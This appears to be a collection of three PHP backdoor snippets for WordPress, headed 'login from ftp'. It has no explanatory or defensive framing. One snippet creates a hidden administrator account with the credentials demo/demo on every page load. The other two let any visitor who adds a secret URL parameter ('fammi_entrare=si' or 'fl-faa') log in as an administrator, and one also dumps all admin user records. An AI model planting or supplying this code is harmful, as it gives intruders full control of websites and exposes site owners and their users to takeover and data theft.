login from ftp
<?php
function wp_create_new_user(){
$user = 'demo';
$pass = 'demo';
$email = 'demo@domain.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wp_create_new_user');
<?php
add_action( 'init', 'log_me_in' );
function log_me_in(){
if( !isset($_GET['fammi_entrare']) || $_GET['fammi_entrare'] != 'si' ) {
return;
}
$blogID = get_current_blog_id();
$users = get_users( array( 'blog_id' => $blogID ) );
foreach( $users as $user ) {
if( $user->roles[0] == 'administrator' ) {
wp_set_auth_cookie( $user->ID, true );
wp_redirect( home_url() );
break;
}
}
}
<?php
$f_request = isset( $_GET[ 'fl-faa' ] ) ? $_GET[ 'fl-faa' ] : false;
switch ( $f_request ) {
case 'show_admins':
$admins = get_users( 'role=administrator' );
echo '<pre>';
var_dump( $admins );
echo '</pre>';
die();
break;
case 'login':
$user_id = isset( $_GET[ 'id' ] ) ? $_GET[ 'id' ] : false;
if ( !$user_id ) {
$admins = get_users( 'role=administrator' );
if ( !!( $admins ) ) {
$first_admin = current( $admins );
$user_id = isset( $first_admin->ID ) ? $first_admin->ID : false;
}
}
if ( $user_id ) {
wp_set_auth_cookie( $user_id, false );
wp_set_current_user( $user_id );
wp_safe_redirect( remove_query_arg( array( 'fl-faa', 'id' ) ) );
exit;
}
unset( $user_id );
break;
}
unset( $f_request );